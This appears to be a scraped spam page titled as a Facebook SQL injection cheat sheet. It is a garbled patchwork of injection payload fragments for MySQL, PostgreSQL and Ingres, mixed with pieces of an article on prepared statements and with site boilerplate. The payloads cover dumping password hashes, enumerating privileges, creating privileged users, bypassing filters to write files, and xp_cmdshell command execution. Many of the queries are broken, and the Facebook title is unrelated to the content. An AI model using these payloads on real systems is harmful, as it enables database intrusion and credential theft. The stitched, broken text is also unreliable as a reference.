Sql Injection Cheat Sheet For Facebook


Sql Injection Cheat Sheet For Facebook

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Sql Injection Cheat Sheet For Facebook

They might write (in Java): String accountBalanceQuery = "SELECT accountNumber, balance FROM accounts WHERE accountownerid = " + request.getParameter("userid"); try { Statement statement = connection.createStatement(); ResultSet rs = statement.executeQuery(accountBalanceQuery); while (rs.next()) { page.addTableRow(rs.getInt("accountNumber"), rs.getFloat("balance")); } } catch (SQLException e) { . Jonathan Turner for hostname tip. Over a million developers have joined DZone. information disclosure select currentsetting(port); Misc. information disclosure select currentsetting(passwordencryption); Misc. The result is a byte type with value 001:select substr(bitand(cast(3 as byte), cast(5 as byte)),1,1); Substring select substr(abc, 2, 1); returns b ASCII value of a character ??? (The ascii function exists, but doesnt seem to do what Id expect.) Roles and passwords First you need to connect to iidbdb, then: select roleid, rolepass from iirole; List Database Procedures First you need to connect to iidbdb, then: select dbpname, dbpowner from iiprocedure; Create Users + Granting Privs First you need to connect to iidbdb, then: create user pm with password = password; grant all on current installation to pm; Time Delays ??? Execute OS Commands ??? Write to File System ??? Concatenation select abc def; Casting select cast(123 as varchar); select cast(123 as integer); Bypass SQL Injection Filters Payload Description (if any) select password from tablename where username = concat(char(39),char(97),char(100),char(109),char(105),char(110),char( 39)) into outfile concat(char(39),char(97),char(100),char(109),char(105),char(110),char( 39)) Writing info into files without single quotes (example). information disclosure select currentsetting(hbafile); Misc. The sppassword prevents storing clear text passwords in the log files. .. Home Alerts MD Hacks News Papers projects . By using this website you agree with our use of cookies to improve its performance and enhance your experience. Please email me additional payloads as you find them. The attacker now knows every users account numbers and balances. PostgreSQL Payload Description (if any) select version(); View database version. information disclosure select * from sysusers View database usernames and passwords. select * from pggroup; View database usernames and passwords. command execution with cpcmdshell this is useful for blind SQL Injection tests (where no results are displayed). List Privileges SELECT grantee, privilegetype, isgrantable FROM informationschema.userprivileges; list user privsSELECT host, user, Selectpriv, Insertpriv, Updatepriv, Deletepriv, Createpriv, Droppriv, Reloadpriv, Shutdownpriv, Processpriv, Filepriv, Grantpriv, Referencespriv, Indexpriv, Alterpriv, Showdbpriv, Superpriv, Createtmptablepriv, Locktablespriv, Executepriv, Replslavepriv, Replclientpriv FROM mysql.user; priv, list user privsSELECT grantee, tableschema, privilegetype FROM informationschema.schemaprivileges; list privs on databases (schemas)SELECT tableschema, tablename, columnname, privilegetype FROM informationschema.columnprivileges; list privs on columns List DBA Accounts SELECT grantee, privilegetype, isgrantable FROM informationschema.userprivileges WHERE privilegetype = SUPER;SELECT host, user FROM mysql.user WHERE Superpriv = Y; # priv Current Database SELECT database() List Databases SELECT schemaname FROM informationschema.schemata; for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db priv List Columns SELECT tableschema, tablename, columnname FROM informationschema.columns WHERE tableschema != mysql AND tableschema != informationschema List Tables SELECT tableschema,tablename FROM informationschema.tables WHERE tableschema != mysql AND tableschema != informationschema Find Tables From Column Name SELECT tableschema, tablename FROM informationschema.columns WHERE columnname = username; find table which have a column called username Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 Select Nth Char SELECT substr(abcd, 3, 1); # returns c Bitwise AND SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 ASCII Value -> Char SELECT char(65); # returns A Char -> ASCII Value SELECT ascii(A); # returns 65 Casting SELECT cast(12 AS unsigned integer); SELECT cast(1232 AS char); String Concatenation SELECT CONCAT(A,'B); #returns AB SELECT CONCAT(A,'B,'C); # returns ABC If Statement SELECT if(1=1,foo,'bar); returns foo Case Statement SELECT CASE WHEN (1=1) THEN A ELSE B END; # returns A Avoiding Quotes SELECT 0414243; # returns ABC Time Delay SELECT BENCHMARK(1000000,MD5(A)); SELECT SLEEP(5); # >= 5.0.12 Make DNS Requests Impossible? Command Execution If mysqld ( = mysql 5.0) mysql . information disclosure select currentsetting(krbserverkeyfile); Misc. .. } If an attacker attempts to supply a value thats not a simple integer, then statement.setInt() will throw a SQLException error rather than permitting the query to complete. The following is legal: select 1 union select 2; Enumerate Tables Privs select tablename, permituser, permittype from iiaccess; Enumerate Current Privs select dbmsinfo(dbadmin); select dbmsinfo(createtable); select dbmsinfo(createprocedure); select dbmsinfo(securitypriv); select dbmsinfo(selectsyscat); select dbmsinfo(dbprivileges); select dbmsinfo(currentprivmask); Length of a string select length(abc); returns 3 Bitwise AND The function bitand exists, but seems hard to use. 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Oracle Robert Hurlbut has put together an awesome document on Oracle SQL Injection. These types of queries specify placeholders for parameters so that the database will always treat them as data rather than part of a SQL command. 404 . Heres an example of ANDing 3 and 5 together. Attack and Defense Examples 1. xpcmdshell net+view Misc. Nothing tricky here. information disclosure select host,user,password from mysql.user; View MySQL usernames and passwords 5a02188284

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